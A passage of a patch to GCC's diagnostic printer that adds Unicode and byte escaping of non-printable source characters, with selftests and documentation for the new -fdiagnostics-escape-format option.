++ when escaping with DIAGNOSTICS_ESCAPE_FORMAT_UNICODE. */
++
++static void
++escape_as_unicode_print (pretty_printer *pp,
++ const cpp_decoded_char &decoded_ch)
++{
++ if (!decoded_ch.m_valid_ch)
++ {
++ escape_as_bytes_print (pp, decoded_ch);
++ return;
++ }
++
++ cppchar_t ch = decoded_ch.m_ch;
++ if (ch < 0x80 && ISPRINT (ch))
++ pp_character (pp, ch);
++ else
++ {
++ char buf[16];
++ sprintf (buf, "<U+%04X>", ch);
++ pp_string (pp, buf);
++ }
++}
++
++/* Populate a char_display_policy based on DC and RICHLOC. */
++
++static char_display_policy
++make_policy (const diagnostic_context &dc,
++ const rich_location &richloc)
++{
++ /* The default is to not escape non-ASCII bytes. */
++ char_display_policy result
++ (dc.tabstop, cpp_wcwidth, default_print_decoded_ch);
++
++ /* If the diagnostic suggests escaping non-ASCII bytes, then
++ use policy from user-supplied options. */
++ if (richloc.escape_on_output_p ())
++ {
++ result.m_undecoded_byte_width = width_per_escaped_byte;
++ switch (dc.escape_format)
++ {
++ default:
++ gcc_unreachable ();
++ case DIAGNOSTICS_ESCAPE_FORMAT_UNICODE:
++ result.m_width_cb = escape_as_unicode_width;
++ result.m_print_cb = escape_as_unicode_print;
++ break;
++ case DIAGNOSTICS_ESCAPE_FORMAT_BYTES:
++ result.m_width_cb = escape_as_bytes_width;
++ result.m_print_cb = escape_as_bytes_print;
++ break;
++ }
++ }
++
++ return result;
++}
++
+ /* Implementation of class layout. */
+
+ /* Constructor for class layout.
+@@ -975,8 +1186,10 @@ layout::layout (diagnostic_context * con
+ diagnostic_t diagnostic_kind)
+ : m_context (context),
+ m_pp (context->printer),
++ m_policy (make_policy (*context, *richloc)),
+ m_primary_loc (richloc->get_range (0)->m_loc),
+- m_exploc (richloc->get_expanded_location (0), context->tabstop),
++ m_exploc (richloc->get_expanded_location (0), m_policy,
++ LOCATION_ASPECT_CARET),
+ m_colorizer (context, diagnostic_kind),
+ m_colorize_source_p (context->colorize_source_p),
+ m_show_labels_p (context->show_labels_p),
+@@ -986,7 +1199,8 @@ layout::layout (diagnostic_context * con
+ m_fixit_hints (richloc->get_num_fixit_hints ()),
+ m_line_spans (1 + richloc->get_num_locations ()),
+ m_linenum_width (0),
+- m_x_offset_display (0)
++ m_x_offset_display (0),
++ m_escape_on_output (richloc->escape_on_output_p ())
+ {
+ for (unsigned int idx = 0; idx < richloc->get_num_locations (); idx++)
+ {
+@@ -1072,10 +1286,13 @@ layout::maybe_add_location_range (const
+
+ /* Everything is now known to be in the correct source file,
+ but it may require further sanitization. */
+- layout_range ri (exploc_with_display_col (start, m_context->tabstop),
+- exploc_with_display_col (finish, m_context->tabstop),
++ layout_range ri (exploc_with_display_col (start, m_policy,
++ LOCATION_ASPECT_START),
++ exploc_with_display_col (finish, m_policy,
++ LOCATION_ASPECT_FINISH),
+ loc_range->m_range_display_kind,
+- exploc_with_display_col (caret, m_context->tabstop),
++ exploc_with_display_col (caret, m_policy,
++ LOCATION_ASPECT_CARET),
+ original_idx, loc_range->m_label);
+
+ /* If we have a range that finishes before it starts (perhaps
+@@ -1409,7 +1626,7 @@ layout::calculate_x_offset_display ()
+ = get_line_bytes_without_trailing_whitespace (line.get_buffer (),
+ line.length ());
+ int eol_display_column
+- = cpp_display_width (line.get_buffer (), line_bytes, m_context->tabstop);
++ = cpp_display_width (line.get_buffer (), line_bytes, m_policy);
+ if (caret_display_column > eol_display_column
+ || !caret_display_column)
+ {
+@@ -1488,7 +1705,7 @@ layout::print_source_line (linenum_type
+ /* This object helps to keep track of which display column we are at, which is
+ necessary for computing the line bounds in display units, for doing
+ tab expansion, and for implementing m_x_offset_display. */
+- cpp_display_width_computation dw (line, line_bytes, m_context->tabstop);
++ cpp_display_width_computation dw (line, line_bytes, m_policy);
+
+ /* Skip the first m_x_offset_display display columns. In case the leading
+ portion that will be skipped ends with a character with wcwidth > 1, then
+@@ -1536,7 +1753,8 @@ layout::print_source_line (linenum_type
+ tabs and replacing some control bytes with spaces as necessary. */
+ const char *c = dw.next_byte ();
+ const int start_disp_col = dw.display_cols_processed () + 1;
+- const int this_display_width = dw.process_next_codepoint ();
++ cpp_decoded_char cp;
++ const int this_display_width = dw.process_next_codepoint (&cp);
+ if (*c == '\t')
+ {
+ /* The returned display width is the number of spaces into which the
+@@ -1545,15 +1763,6 @@ layout::print_source_line (linenum_type
+ pp_space (m_pp);
+ continue;
+ }
+- if (*c == '\0' || *c == '\r')
+- {
+- /* cpp_wcwidth() promises to return 1 for all control bytes, and we
+- want to output these as a single space too, so this case is
+- actually the same as the '\t' case. */
+- gcc_assert (this_display_width == 1);
+- pp_space (m_pp);
+- continue;
+- }
+
+ /* We have a (possibly multibyte) character to output; update the line
+ bounds if it is not whitespace. */
+@@ -1565,7 +1774,8 @@ layout::print_source_line (linenum_type
+ }
+
+ /* Output the character. */
+- while (c != dw.next_byte ()) pp_character (m_pp, *c++);
++ m_policy.m_print_cb (m_pp, cp);
++ c = dw.next_byte ();
+ }
+ print_newline ();
+ return lbounds;
+@@ -1664,14 +1874,14 @@ layout::print_annotation_line (linenum_t
+ class line_label
+ {
+ public:
+- line_label (diagnostic_context *context, int state_idx, int column,
++ line_label (const cpp_char_column_policy &policy,
++ int state_idx, int column,
+ label_text text)
+ : m_state_idx (state_idx), m_column (column),
+ m_text (text), m_label_line (0), m_has_vbar (true)
+ {
+ const int bytes = strlen (text.m_buffer);
+- m_display_width
+- = cpp_display_width (text.m_buffer, bytes, context->tabstop);
++ m_display_width = cpp_display_width (text.m_buffer, bytes, policy);
+ }
+
+ /* Sorting is primarily by column, then by state index. */
+@@ -1731,7 +1941,7 @@ layout::print_any_labels (linenum_type r
+ if (text.m_buffer == NULL)
+ continue;
+
+- labels.safe_push (line_label (m_context, i, disp_col, text));
++ labels.safe_push (line_label (m_policy, i, disp_col, text));
+ }
+ }
+
+@@ -2011,7 +2221,7 @@ public:
+
+ /* Get the range of bytes or display columns that HINT would affect. */
+ static column_range
+-get_affected_range (diagnostic_context *context,
++get_affected_range (const cpp_char_column_policy &policy,
+ const fixit_hint *hint, enum column_unit col_unit)
+ {
+ expanded_location exploc_start = expand_location (hint->get_start_loc ());
+@@ -2022,13 +2232,11 @@ get_affected_range (diagnostic_context *
+ int finish_column;
+ if (col_unit == CU_DISPLAY_COLS)
+ {
+- start_column
+- = location_compute_display_column (exploc_start, context->tabstop);
++ start_column = location_compute_display_column (exploc_start, policy);
+ if (hint->insertion_p ())
+ finish_column = start_column - 1;
+ else
+- finish_column
+- = location_compute_display_column (exploc_finish, context->tabstop);
++ finish_column = location_compute_display_column (exploc_finish, policy);
+ }
+ else
+ {
+@@ -2041,12 +2249,13 @@ get_affected_range (diagnostic_context *
+ /* Get the range of display columns that would be printed for HINT. */
+
+ static column_range
+-get_printed_columns (diagnostic_context *context, const fixit_hint *hint)
++get_printed_columns (const cpp_char_column_policy &policy,
++ const fixit_hint *hint)
+ {
+ expanded_location exploc = expand_location (hint->get_start_loc ());
+- int start_column = location_compute_display_column (exploc, context->tabstop);
++ int start_column = location_compute_display_column (exploc, policy);
+ int hint_width = cpp_display_width (hint->get_string (), hint->get_length (),
+- context->tabstop);
++ policy);
+ int final_hint_column = start_column + hint_width - 1;
+ if (hint->insertion_p ())
+ {
+@@ -2056,8 +2265,7 @@ get_printed_columns (diagnostic_context
+ {
+ exploc = expand_location (hint->get_next_loc ());
+ --exploc.column;
+- int finish_column
+- = location_compute_display_column (exploc, context->tabstop);
++ int finish_column = location_compute_display_column (exploc, policy);
+ return column_range (start_column,
+ MAX (finish_column, final_hint_column));
+ }
+@@ -2075,13 +2283,13 @@ public:
+ column_range affected_columns,
+ column_range printed_columns,
+ const char *new_text, size_t new_text_len,
+- int tabstop)
++ const cpp_char_column_policy &policy)
+ : m_affected_bytes (affected_bytes),
+ m_affected_columns (affected_columns),
+ m_printed_columns (printed_columns),
+ m_text (xstrdup (new_text)),
+ m_byte_length (new_text_len),
+- m_tabstop (tabstop),
++ m_policy (policy),
+ m_alloc_sz (new_text_len + 1)
+ {
+ compute_display_cols ();
+@@ -2099,7 +2307,7 @@ public:
+
+ void compute_display_cols ()
+ {
+- m_display_cols = cpp_display_width (m_text, m_byte_length, m_tabstop);
++ m_display_cols = cpp_display_width (m_text, m_byte_length, m_policy);
+ }
+
+ void overwrite (int dst_offset, const char_span &src_span)
+@@ -2127,7 +2335,7 @@ public:
+ char *m_text;
+ size_t m_byte_length; /* Not including null-terminator. */
+ int m_display_cols;
+- int m_tabstop;
++ const cpp_char_column_policy &m_policy;
+ size_t m_alloc_sz;
+ };
+
+@@ -2163,15 +2371,16 @@ correction::ensure_terminated ()
+ class line_corrections
+ {
+ public:
+- line_corrections (diagnostic_context *context, const char *filename,
++ line_corrections (const char_display_policy &policy,
++ const char *filename,
+ linenum_type row)
+- : m_context (context), m_filename (filename), m_row (row)
++ : m_policy (policy), m_filename (filename), m_row (row)
+ {}
+ ~line_corrections ();
+
+ void add_hint (const fixit_hint *hint);
+
+- diagnostic_context *m_context;
++ const char_display_policy &m_policy;
+ const char *m_filename;
+ linenum_type m_row;
+ auto_vec <correction *> m_corrections;
+@@ -2217,10 +2426,10 @@ source_line::source_line (const char *fi
+ void
+ line_corrections::add_hint (const fixit_hint *hint)
+ {
+- column_range affected_bytes = get_affected_range (m_context, hint, CU_BYTES);
+- column_range affected_columns = get_affected_range (m_context, hint,
++ column_range affected_bytes = get_affected_range (m_policy, hint, CU_BYTES);
++ column_range affected_columns = get_affected_range (m_policy, hint,
+ CU_DISPLAY_COLS);
+- column_range printed_columns = get_printed_columns (m_context, hint);
++ column_range printed_columns = get_printed_columns (m_policy, hint);
+
+ /* Potentially consolidate. */
+ if (!m_corrections.is_empty ())
+@@ -2289,7 +2498,7 @@ line_corrections::add_hint (const fixit_
+ printed_columns,
+ hint->get_string (),
+ hint->get_length (),
+- m_context->tabstop));
++ m_policy));
+ }
+
+ /* If there are any fixit hints on source line ROW, print them.
+@@ -2303,7 +2512,7 @@ layout::print_trailing_fixits (linenum_t
+ {
+ /* Build a list of correction instances for the line,
+ potentially consolidating hints (for the sake of readability). */
+- line_corrections corrections (m_context, m_exploc.file, row);
++ line_corrections corrections (m_policy, m_exploc.file, row);
+ for (unsigned int i = 0; i < m_fixit_hints.length (); i++)
+ {
+ const fixit_hint *hint = m_fixit_hints[i];
+@@ -2646,6 +2855,59 @@ namespace selftest {
+
+ /* Selftests for diagnostic_show_locus. */
+
++/* Verify that cpp_display_width correctly handles escaping. */
++
++static void
++test_display_widths ()
++{
++ gcc_rich_location richloc (UNKNOWN_LOCATION);
++
++ /* U+03C0 "GREEK SMALL LETTER PI". */
++ const char *pi = "\xCF\x80";
++ /* U+1F642 "SLIGHTLY SMILING FACE". */
++ const char *emoji = "\xF0\x9F\x99\x82";
++ /* Stray trailing byte of a UTF-8 character. */
++ const char *stray = "\xBF";
++ /* U+10FFFF. */
++ const char *max_codepoint = "\xF4\x8F\xBF\xBF";
++
++ /* No escaping. */
++ {
++ test_diagnostic_context dc;
++ char_display_policy policy (make_policy (dc, richloc));
++ ASSERT_EQ (cpp_display_width (pi, strlen (pi), policy), 1);
++ ASSERT_EQ (cpp_display_width (emoji, strlen (emoji), policy), 2);
++ ASSERT_EQ (cpp_display_width (stray, strlen (stray), policy), 1);
++ /* Don't check width of U+10FFFF; it's in a private use plane. */
++ }
++
++ richloc.set_escape_on_output (true);
++
++ {
++ test_diagnostic_context dc;
++ dc.escape_format = DIAGNOSTICS_ESCAPE_FORMAT_UNICODE;
++ char_display_policy policy (make_policy (dc, richloc));
++ ASSERT_EQ (cpp_display_width (pi, strlen (pi), policy), 8);
++ ASSERT_EQ (cpp_display_width (emoji, strlen (emoji), policy), 9);
++ ASSERT_EQ (cpp_display_width (stray, strlen (stray), policy), 4);
++ ASSERT_EQ (cpp_display_width (max_codepoint, strlen (max_codepoint),
++ policy),
++ strlen ("<U+10FFFF>"));
++ }
++
++ {
++ test_diagnostic_context dc;
++ dc.escape_format = DIAGNOSTICS_ESCAPE_FORMAT_BYTES;
++ char_display_policy policy (make_policy (dc, richloc));
++ ASSERT_EQ (cpp_display_width (pi, strlen (pi), policy), 8);
++ ASSERT_EQ (cpp_display_width (emoji, strlen (emoji), policy), 16);
++ ASSERT_EQ (cpp_display_width (stray, strlen (stray), policy), 4);
++ ASSERT_EQ (cpp_display_width (max_codepoint, strlen (max_codepoint),
++ policy),
++ 16);
++ }
++}
++
+ /* For precise tests of the layout, make clear where the source line will
+ start. test_left_margin sets the total byte count from the left side of the
+ screen to the start of source lines, after the line number and the separator,
+@@ -2715,10 +2977,10 @@ test_layout_x_offset_display_utf8 (const
+ char_span lspan = location_get_source_line (tmp.get_filename (), 1);
+ ASSERT_EQ (line_display_cols,
+ cpp_display_width (lspan.get_buffer (), lspan.length (),
+- def_tabstop));
++ def_policy ()));
+ ASSERT_EQ (line_display_cols,
+ location_compute_display_column (expand_location (line_end),
+- def_tabstop));
++ def_policy ()));
+ ASSERT_EQ (0, memcmp (lspan.get_buffer () + (emoji_col - 1),
+ "\xf0\x9f\x98\x82\xf0\x9f\x98\x82", 8));
+
+@@ -2866,12 +3128,13 @@ test_layout_x_offset_display_tab (const
+ ASSERT_EQ ('\t', *(lspan.get_buffer () + (tab_col - 1)));
+ for (int tabstop = 1; tabstop != num_tabstops; ++tabstop)
+ {
++ cpp_char_column_policy policy (tabstop, cpp_wcwidth);
+ ASSERT_EQ (line_bytes + extra_width[tabstop],
+ cpp_display_width (lspan.get_buffer (), lspan.length (),
+- tabstop));
++ policy));
+ ASSERT_EQ (line_bytes + extra_width[tabstop],
+ location_compute_display_column (expand_location (line_end),
+- tabstop));
++ policy));
+ }
+
+ /* Check that the tab is expanded to the expected number of spaces. */
+@@ -4003,6 +4266,43 @@ test_one_liner_labels_utf8 ()
+ " bb\xf0\x9f\x98\x82\xf0\x9f\x98\x82\n",
+ pp_formatted_text (dc.printer));
+ }
++
++ /* Example of escaping the source lines. */
++ {
++ text_range_label label0 ("label 0\xf0\x9f\x98\x82");
++ text_range_label label1 ("label 1\xcf\x80");
++ text_range_label label2 ("label 2\xcf\x80");
++ gcc_rich_location richloc (foo, &label0);
++ richloc.add_range (bar, SHOW_RANGE_WITHOUT_CARET, &label1);
++ richloc.add_range (field, SHOW_RANGE_WITHOUT_CARET, &label2);
++ richloc.set_escape_on_output (true);
++
++ {
++ test_diagnostic_context dc;
++ dc.escape_format = DIAGNOSTICS_ESCAPE_FORMAT_UNICODE;
++ diagnostic_show_locus (&dc, &richloc, DK_ERROR);
++ ASSERT_STREQ (" <U+1F602>_foo = <U+03C0>_bar.<U+1F602>_field<U+03C0>;\n"
++ " ^~~~~~~~~~~~~ ~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~\n"
++ " | | |\n"
++ " | | label 2\xcf\x80\n"
++ " | label 1\xcf\x80\n"
++ " label 0\xf0\x9f\x98\x82\n",
++ pp_formatted_text (dc.printer));
++ }
++ {
++ test_diagnostic_context dc;
++ dc.escape_format = DIAGNOSTICS_ESCAPE_FORMAT_BYTES;
++ diagnostic_show_locus (&dc, &richloc, DK_ERROR);
++ ASSERT_STREQ
++ (" <f0><9f><98><82>_foo = <cf><80>_bar.<f0><9f><98><82>_field<cf><80>;\n"
++ " ^~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
++ " | | |\n"
++ " | | label 2\xcf\x80\n"
++ " | label 1\xcf\x80\n"
++ " label 0\xf0\x9f\x98\x82\n",
++ pp_formatted_text (dc.printer));
++ }
++ }
+ }
+
+ /* Make sure that colorization codes don't interrupt a multibyte
+@@ -4057,9 +4357,9 @@ test_diagnostic_show_locus_one_liner_utf
+
+ char_span lspan = location_get_source_line (tmp.get_filename (), 1);
+ ASSERT_EQ (25, cpp_display_width (lspan.get_buffer (), lspan.length (),
+- def_tabstop));
++ def_policy ()));
+ ASSERT_EQ (25, location_compute_display_column (expand_location (line_end),
+- def_tabstop));
++ def_policy ()));
+
+ test_one_liner_simple_caret_utf8 ();
+ test_one_liner_caret_and_range_utf8 ();
+@@ -4445,30 +4745,31 @@ test_overlapped_fixit_printing (const li
+ pp_formatted_text (dc.printer));
+
+ /* Unit-test the line_corrections machinery. */
++ char_display_policy policy (make_policy (dc, richloc));
+ ASSERT_EQ (3, richloc.get_num_fixit_hints ());
+ const fixit_hint *hint_0 = richloc.get_fixit_hint (0);
+ ASSERT_EQ (column_range (12, 12),
+- get_affected_range (&dc, hint_0, CU_BYTES));
++ get_affected_range (policy, hint_0, CU_BYTES));
+ ASSERT_EQ (column_range (12, 12),
+- get_affected_range (&dc, hint_0, CU_DISPLAY_COLS));
+- ASSERT_EQ (column_range (12, 22), get_printed_columns (&dc, hint_0));
++ get_affected_range (policy, hint_0, CU_DISPLAY_COLS));
++ ASSERT_EQ (column_range (12, 22), get_printed_columns (policy, hint_0));
+ const fixit_hint *hint_1 = richloc.get_fixit_hint (1);
+ ASSERT_EQ (column_range (18, 18),
+- get_affected_range (&dc, hint_1, CU_BYTES));
++ get_affected_range (policy, hint_1, CU_BYTES));
+ ASSERT_EQ (column_range (18, 18),
+- get_affected_range (&dc, hint_1, CU_DISPLAY_COLS));
+- ASSERT_EQ (column_range (18, 20), get_printed_columns (&dc, hint_1));
++ get_affected_range (policy, hint_1, CU_DISPLAY_COLS));
++ ASSERT_EQ (column_range (18, 20), get_printed_columns (policy, hint_1));
+ const fixit_hint *hint_2 = richloc.get_fixit_hint (2);
+ ASSERT_EQ (column_range (29, 28),
+- get_affected_range (&dc, hint_2, CU_BYTES));
++ get_affected_range (policy, hint_2, CU_BYTES));
+ ASSERT_EQ (column_range (29, 28),
+- get_affected_range (&dc, hint_2, CU_DISPLAY_COLS));
+- ASSERT_EQ (column_range (29, 29), get_printed_columns (&dc, hint_2));
++ get_affected_range (policy, hint_2, CU_DISPLAY_COLS));
++ ASSERT_EQ (column_range (29, 29), get_printed_columns (policy, hint_2));
+
+ /* Add each hint in turn to a line_corrections instance,
+ and verify that they are consolidated into one correction instance
+ as expected. */
+- line_corrections lc (&dc, tmp.get_filename (), 1);
++ line_corrections lc (policy, tmp.get_filename (), 1);
+
+ /* The first replace hint by itself. */
+ lc.add_hint (hint_0);
+@@ -4660,30 +4961,31 @@ test_overlapped_fixit_printing_utf8 (con
+ pp_formatted_text (dc.printer));
+
+ /* Unit-test the line_corrections machinery. */
++ char_display_policy policy (make_policy (dc, richloc));
+ ASSERT_EQ (3, richloc.get_num_fixit_hints ());
+ const fixit_hint *hint_0 = richloc.get_fixit_hint (0);
+ ASSERT_EQ (column_range (14, 14),
+- get_affected_range (&dc, hint_0, CU_BYTES));
++ get_affected_range (policy, hint_0, CU_BYTES));
+ ASSERT_EQ (column_range (12, 12),
+- get_affected_range (&dc, hint_0, CU_DISPLAY_COLS));
+- ASSERT_EQ (column_range (12, 22), get_printed_columns (&dc, hint_0));
++ get_affected_range (policy, hint_0, CU_DISPLAY_COLS));
++ ASSERT_EQ (column_range (12, 22), get_printed_columns (policy, hint_0));
+ const fixit_hint *hint_1 = richloc.get_fixit_hint (1);
+ ASSERT_EQ (column_range (22, 22),
+- get_affected_range (&dc, hint_1, CU_BYTES));
++ get_affected_range (policy, hint_1, CU_BYTES));
+ ASSERT_EQ (column_range (18, 18),
+- get_affected_range (&dc, hint_1, CU_DISPLAY_COLS));
+- ASSERT_EQ (column_range (18, 20), get_printed_columns (&dc, hint_1));
++ get_affected_range (policy, hint_1, CU_DISPLAY_COLS));
++ ASSERT_EQ (column_range (18, 20), get_printed_columns (policy, hint_1));
+ const fixit_hint *hint_2 = richloc.get_fixit_hint (2);
+ ASSERT_EQ (column_range (35, 34),
+- get_affected_range (&dc, hint_2, CU_BYTES));
++ get_affected_range (policy, hint_2, CU_BYTES));
+ ASSERT_EQ (column_range (30, 29),
+- get_affected_range (&dc, hint_2, CU_DISPLAY_COLS));
+- ASSERT_EQ (column_range (30, 30), get_printed_columns (&dc, hint_2));
++ get_affected_range (policy, hint_2, CU_DISPLAY_COLS));
++ ASSERT_EQ (column_range (30, 30), get_printed_columns (policy, hint_2));
+
+ /* Add each hint in turn to a line_corrections instance,
+ and verify that they are consolidated into one correction instance
+ as expected. */
+- line_corrections lc (&dc, tmp.get_filename (), 1);
++ line_corrections lc (policy, tmp.get_filename (), 1);
+
+ /* The first replace hint by itself. */
+ lc.add_hint (hint_0);
+@@ -4877,15 +5179,16 @@ test_overlapped_fixit_printing_2 (const
+ richloc.add_fixit_insert_before (col_21, "}");
+
+ /* These fixits should be accepted; they can't be consolidated. */
++ char_display_policy policy (make_policy (dc, richloc));
+ ASSERT_EQ (2, richloc.get_num_fixit_hints ());
+ const fixit_hint *hint_0 = richloc.get_fixit_hint (0);
+ ASSERT_EQ (column_range (23, 22),
+- get_affected_range (&dc, hint_0, CU_BYTES));
+- ASSERT_EQ (column_range (23, 23), get_printed_columns (&dc, hint_0));
++ get_affected_range (policy, hint_0, CU_BYTES));
++ ASSERT_EQ (column_range (23, 23), get_printed_columns (policy, hint_0));
+ const fixit_hint *hint_1 = richloc.get_fixit_hint (1);
+ ASSERT_EQ (column_range (21, 20),
+- get_affected_range (&dc, hint_1, CU_BYTES));
+- ASSERT_EQ (column_range (21, 21), get_printed_columns (&dc, hint_1));
++ get_affected_range (policy, hint_1, CU_BYTES));
++ ASSERT_EQ (column_range (21, 21), get_printed_columns (policy, hint_1));
+
+ /* Verify that they're printed correctly. */
+ diagnostic_show_locus (&dc, &richloc, DK_ERROR);
+@@ -5152,10 +5455,11 @@ test_tab_expansion (const line_table_cas
+ ....................123 45678901234 56789012345 columns */
+
+ const int tabstop = 8;
++ cpp_char_column_policy policy (tabstop, cpp_wcwidth);
+ const int first_non_ws_byte_col = 7;
+ const int right_quote_byte_col = 15;
+ const int last_byte_col = 25;
+- ASSERT_EQ (35, cpp_display_width (content, last_byte_col, tabstop));
++ ASSERT_EQ (35, cpp_display_width (content, last_byte_col, policy));
+
+ temp_source_file tmp (SELFTEST_LOCATION, ".c", content);
+ line_table_test ltt (case_);
+@@ -5198,6 +5502,114 @@ test_tab_expansion (const line_table_cas
+ }
+ }
+
++/* Verify that the escaping machinery can cope with a variety of different
++ invalid bytes. */
++
++static void
++test_escaping_bytes_1 (const line_table_case &case_)
++{
++ const char content[] = "before\0\1\2\3\r\x80\xff""after\n";
++ const size_t sz = sizeof (content);
++ temp_source_file tmp (SELFTEST_LOCATION, ".c", content, sz);
++ line_table_test ltt (case_);
++ const line_map_ordinary *ord_map = linemap_check_ordinary
++ (linemap_add (line_table, LC_ENTER, false, tmp.get_filename (), 0));
++ linemap_line_start (line_table, 1, 100);
++
++ location_t finish
++ = linemap_position_for_line_and_column (line_table, ord_map, 1,
++ strlen (content));
++
++ if (finish > LINE_MAP_MAX_LOCATION_WITH_COLS)
++ return;
++
++ /* Locations of the NUL and \r bytes. */
++ location_t nul_loc
++ = linemap_position_for_line_and_column (line_table, ord_map, 1, 7);
++ location_t r_loc
++ = linemap_position_for_line_and_column (line_table, ord_map, 1, 11);
++ gcc_rich_location richloc (nul_loc);
++ richloc.add_range (r_loc);
++
++ {
++ test_diagnostic_context dc;
++ diagnostic_show_locus (&dc, &richloc, DK_ERROR);
++ ASSERT_STREQ (" before \1\2\3 \x80\xff""after\n"
++ " ^ ~\n",
++ pp_formatted_text (dc.printer));
++ }
++ richloc.set_escape_on_output (true);
++ {
++ test_diagnostic_context dc;
++ dc.escape_format = DIAGNOSTICS_ESCAPE_FORMAT_UNICODE;
++ diagnostic_show_locus (&dc, &richloc, DK_ERROR);
++ ASSERT_STREQ
++ (" before<U+0000><U+0001><U+0002><U+0003><U+000D><80><ff>after\n"
++ " ^~~~~~~~ ~~~~~~~~\n",
++ pp_formatted_text (dc.printer));
++ }
++ {
++ test_diagnostic_context dc;
++ dc.escape_format = DIAGNOSTICS_ESCAPE_FORMAT_BYTES;
++ diagnostic_show_locus (&dc, &richloc, DK_ERROR);
++ ASSERT_STREQ (" before<00><01><02><03><0d><80><ff>after\n"
++ " ^~~~ ~~~~\n",
++ pp_formatted_text (dc.printer));
++ }
++}
++
++/* As above, but verify that we handle the initial byte of a line
++ correctly. */
++
++static void
++test_escaping_bytes_2 (const line_table_case &case_)
++{
++ const char content[] = "\0after\n";
++ const size_t sz = sizeof (content);
++ temp_source_file tmp (SELFTEST_LOCATION, ".c", content, sz);
++ line_table_test ltt (case_);
++ const line_map_ordinary *ord_map = linemap_check_ordinary
++ (linemap_add (line_table, LC_ENTER, false, tmp.get_filename (), 0));
++ linemap_line_start (line_table, 1, 100);
++
++ location_t finish
++ = linemap_position_for_line_and_column (line_table, ord_map, 1,
++ strlen (content));
++
++ if (finish > LINE_MAP_MAX_LOCATION_WITH_COLS)
++ return;
++
++ /* Location of the NUL byte. */
++ location_t nul_loc
++ = linemap_position_for_line_and_column (line_table, ord_map, 1, 1);
++ gcc_rich_location richloc (nul_loc);
++
++ {
++ test_diagnostic_context dc;
++ diagnostic_show_locus (&dc, &richloc, DK_ERROR);
++ ASSERT_STREQ (" after\n"
++ " ^\n",
++ pp_formatted_text (dc.printer));
++ }
++ richloc.set_escape_on_output (true);
++ {
++ test_diagnostic_context dc;
++ dc.escape_format = DIAGNOSTICS_ESCAPE_FORMAT_UNICODE;
++ diagnostic_show_locus (&dc, &richloc, DK_ERROR);
++ ASSERT_STREQ (" <U+0000>after\n"
++ " ^~~~~~~~\n",
++ pp_formatted_text (dc.printer));
++ }
++ {
++ test_diagnostic_context dc;
++ dc.escape_format = DIAGNOSTICS_ESCAPE_FORMAT_BYTES;
++ diagnostic_show_locus (&dc, &richloc, DK_ERROR);
++ ASSERT_STREQ (" <00>after\n"
++ " ^~~~\n",
++ pp_formatted_text (dc.printer));
++ }
++}
++
+ /* Verify that line numbers are correctly printed for the case of
+ a multiline range in which the width of the line numbers changes
+ (e.g. from "9" to "10"). */
+@@ -5254,6 +5666,8 @@ diagnostic_show_locus_c_tests ()
+ test_layout_range_for_single_line ();
+ test_layout_range_for_multiple_lines ();
+
++ test_display_widths ();
++
+ for_each_line_table_case (test_layout_x_offset_display_utf8);
+ for_each_line_table_case (test_layout_x_offset_display_tab);
+
+@@ -5274,6 +5688,8 @@ diagnostic_show_locus_c_tests ()
+ for_each_line_table_case (test_fixit_replace_containing_newline);
+ for_each_line_table_case (test_fixit_deletion_affecting_newline);
+ for_each_line_table_case (test_tab_expansion);
++ for_each_line_table_case (test_escaping_bytes_1);
++ for_each_line_table_case (test_escaping_bytes_2);
+
+ test_line_numbers_multiline_range ();
+ }
+diff --git a/gcc/doc/invoke.texi b/gcc/doc/invoke.texi
+--- a/gcc/doc/invoke.texi 2021-12-13 23:23:05.764437151 -0800
++++ b/gcc/doc/invoke.texi 2021-12-14 01:16:01.553943061 -0800
+@@ -312,7 +312,8 @@ Objective-C and Objective-C++ Dialects}.
+ -fdiagnostics-show-path-depths @gol
+ -fno-show-column @gol
+ -fdiagnostics-column-unit=@r{[}display@r{|}byte@r{]} @gol
+--fdiagnostics-column-origin=@var{origin}}
++-fdiagnostics-column-origin=@var{origin} @gol
++-fdiagnostics-escape-format=@r{[}unicode@r{|}bytes@r{]}}
+
+ @item Warning Options
+ @xref{Warning Options,,Options to Request or Suppress Warnings}.
+@@ -5083,6 +5084,38 @@ first column. The default value of 1 co
+ behavior and to the GNU style guide. Some utilities may perform better with an
+ origin of 0; any non-negative value may be specified.
+
++@item -fdiagnostics-escape-format=@var{FORMAT}
++@opindex fdiagnostics-escape-format
++When GCC prints pertinent source lines for a diagnostic it normally attempts
++to print the source bytes directly. However, some diagnostics relate to encoding
++issues in the source file, such as malformed UTF-8, or issues with Unicode
++normalization. These diagnostics are flagged so that GCC will escape bytes
++that are not printable ASCII when printing their pertinent source lines.
++
++This option controls how such bytes should be escaped.
++
++The default @var{FORMAT}, @samp{unicode} displays Unicode characters that
++are not printable ASCII in the form @samp{<U+XXXX>}, and bytes that do not
++correspond to a Unicode character validly-encoded in UTF-8-encoded will be
++displayed as hexadecimal in the form @samp{<XX>}.
++
++For example, a source line containing the string @samp{before} followed by the
++Unicode character U+03C0 (``GREEK SMALL LETTER PI'', with UTF-8 encoding
++0xCF 0x80) followed by the byte 0xBF (a stray UTF-8 trailing byte), followed by
++the string @samp{after} will be printed for such a diagnostic as:
++
++@smallexample
++ before<U+03C0><BF>after
++@end smallexample
++
++Setting @var{FORMAT} to @samp{bytes} will display all non-printable-ASCII bytes
++in the form @samp{<XX>}, thus showing the underlying encoding of non-ASCII
++Unicode characters. For the example above, the following will be printed:
++
++@smallexample
++ before<CF><80><BF>after
++@end smallexample
++
+ @item -fdiagnostics-format=@var{FORMAT}
+ @opindex fdiagnostics-format
+ Select a different format for printing diagnostics.
+@@ -5150,9 +5183,11 @@ might be printed in JSON form (after for
+ @}
+ @}
+ ],
++ "escape-source": false,
+ "message": "...this statement, but the latter is @dots{}"
+ @}
+ ]
++ "escape-source": false,
+ "column-origin": 1,
+ @},
+ @dots{}
+@@ -5239,6 +5274,7 @@ of the expression, which have labels. I
+ "label": "T @{aka struct t@}"
+ @}
+ ],
++ "escape-source": false,
+ "message": "invalid operands to binary + @dots{}"
+ @}
+ @end smallexample
+@@ -5292,6 +5328,7 @@ might be printed in JSON form as:
+ @}
+ @}
+ ],
++ "escape-source": false,
+ "message": "\u2018struct s\u2019 has no member named @dots{}"
+ @}
+ @end smallexample
+@@ -5349,6 +5386,10 @@ For example, the intraprocedural example
+ ]
+ @end smallexample
+
++Diagnostics have a boolean attribute @code{escape-source}, hinting whether
++non-ASCII bytes should be escaped when printing the pertinent lines of
